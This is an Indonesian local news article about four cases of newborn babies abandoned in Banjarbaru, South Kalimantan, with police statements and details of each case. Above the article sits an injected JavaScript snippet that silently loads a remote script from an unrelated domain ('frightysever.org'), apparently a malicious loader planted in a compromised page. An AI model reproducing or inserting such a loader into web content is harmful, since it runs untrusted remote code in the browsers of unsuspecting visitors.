(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bayi dibuang alias penelantaran anak di Banjarbaru kembali menambah catatan panjang kasus serupa yang terjadi di ibu kota Provinsi Kalimantan Selatan.
Seturut catatan Kanalkalimantan.com, sepanjang 6 bulan terakhir, sejak November 2022 hingga April 2023, ada 4 kasus bayi dibuang dan ditelantarkan begitu saja oleh orangtua tak bertanggung jawab.
Teranyar, bayi perempuan dibuang yang ditemukan lengkap dengan ari-ari belum lepas dari tubuhnya, diperkirakan lahir belum genap usia 24 jam.
Bayi perempuan ini ditemukan di teras rumah Elisabet di Jalan Pandawa No 55 RT 03 Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Senin (24/4/2023) subuh, sekitar pukul 05.30 Wita.
Baca juga: Kembali Terjadi di Banjarbaru, Bayi Dibuang Masih Ada Ari-ari
Bayi yang masih lengkap dengan ari-ari itu ditemukan di dalam kardus bekas kotak wafer warna coklat.
Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono mengatakan, berdasarkan kondisi bayi saat ditemukan masih dengan ari-ari basah tersambung dengan tubuh bayi dan diperkirakan baru saja dilahirkan.
“Bayi diperkirakan dilahirkan belum dalam 24 jam karena ari-arinya masih basah,” ungkapnya kepada Kanalkalimantan.com, Senin (24/4/2023) pagi.
Disebutkan Kompol Yopie, saat ini bayi sudah dilakukan perawatan di RSD Idaman Banjarbaru dan kondisi bayi dalam keadaan sehat.
“Kondisi (bayi) saat ini sehat,” sebutnya.
Kompol Yopie menegaskan tidak akan mentolerir pelaku pembuang bayi di wilayah hukumnya.
“Pelaku (pasti) kita buru,” tegasnya.
Sampai saat ini personel Polsek Banjarbaru Utara masih mengumpulkan saksi-saksi di lapangan dan telah mengamankan barang bukti berupa kardus bekas kotak wafer warna coklat dan kain warna hijau pembungkus bayi tersebut.
Baca juga: Fenomena New Moon, Warga Pesisir Kalsel Diminta Waspada Banjir Rob
Ini Tiga Kasus Bayi Dibuang Sebelumnya di Banjarbaru
Kasus bayi dibuang orangtua setelah persalinan di Banjarbaru terjadi baru dua pekan berlalu, saat warga sedang menjalankan ibadah puasa. Orok berjenis kelamin perempuan dibuang dan ditemukan di depan rumah warga di Jalan Kebun Durian Guntung Manggis RT 18 RW 003, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, pada Rabu (12/4/2023) dini hari.
Bayi perempuan yang diperkirakan baru lahir tidak lebih dari 24 jam itu, tubuhnya hanya dibalut kain sarung warna putih coklat -sarung perempuan-.
Tubuh bayi yang dibalut kain sarung itu dimasukkan ke dalam tas jinjing atau goodie bag berwarna biru. Ditemukan sekitar pukul 03.40 Wita, bayi tersebut masih dalam keadaan hidup.
Ada Kasus Bayi Hasil Hubungan Gelap Dibuang dalam Kardus di Bulan Desember 2022
Warga Banjarbaru juga sempat geger adanya kasus bayi dibuang dalam kardus di Jalan Trikora, Kelurahan Kemuning, Kota Banjarbaru, pada bulan Desember 2022 lalu.
Diketahui pelaku berinisial SNA yang masih berusia 18 tahun berhasil diamankan dari sebuah indekos di Kelurahan Loktabat Selatan, Kota Banjarbaru pada Kamis (8/12/2022).
Saat itu SNA membuang bayi berjenis kelamin laki-laki yang masih berumur 4 hari. Kenekatan SNA (18) lantaran dirinya merasa takut dan khawatir tidak mampu merawat dan membesarkan bayi yang lahir dari hasil hubungan tidak sah itu.
Baca juga: Dua Tongkang ‘Hancurkan’ Perkampungan Warga di Candi Laras Utara
Kasus bayi dibuang juga tejadi pada bulan November 2022 lalu. Seorang bayi berjenis kelamin laki-laki ditemukan dengan tali pusar masih basah dan terbungkus kain di komplek Lambung Mangkurat Regency Tahap 2 C5 Nomor 7 RT 013, RW 01 Kelurahan Palam, Kecamatan Cempaka, Kota Banjarbaru, Senin (28/11/2022) malam. Bayi laki-laki ini ditemukan pertama kali oleh Samsu Anwar Riyadi (19).
Awalnya ia mendengar suara anjing menggonggong kemudian keluar rumah lewat pintu samping, dalam waktu bersamaan pemuda 19 tahun itu juga menemukan bayi laki-laki yang tidak jauh dari rumahnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
This website uses cookies.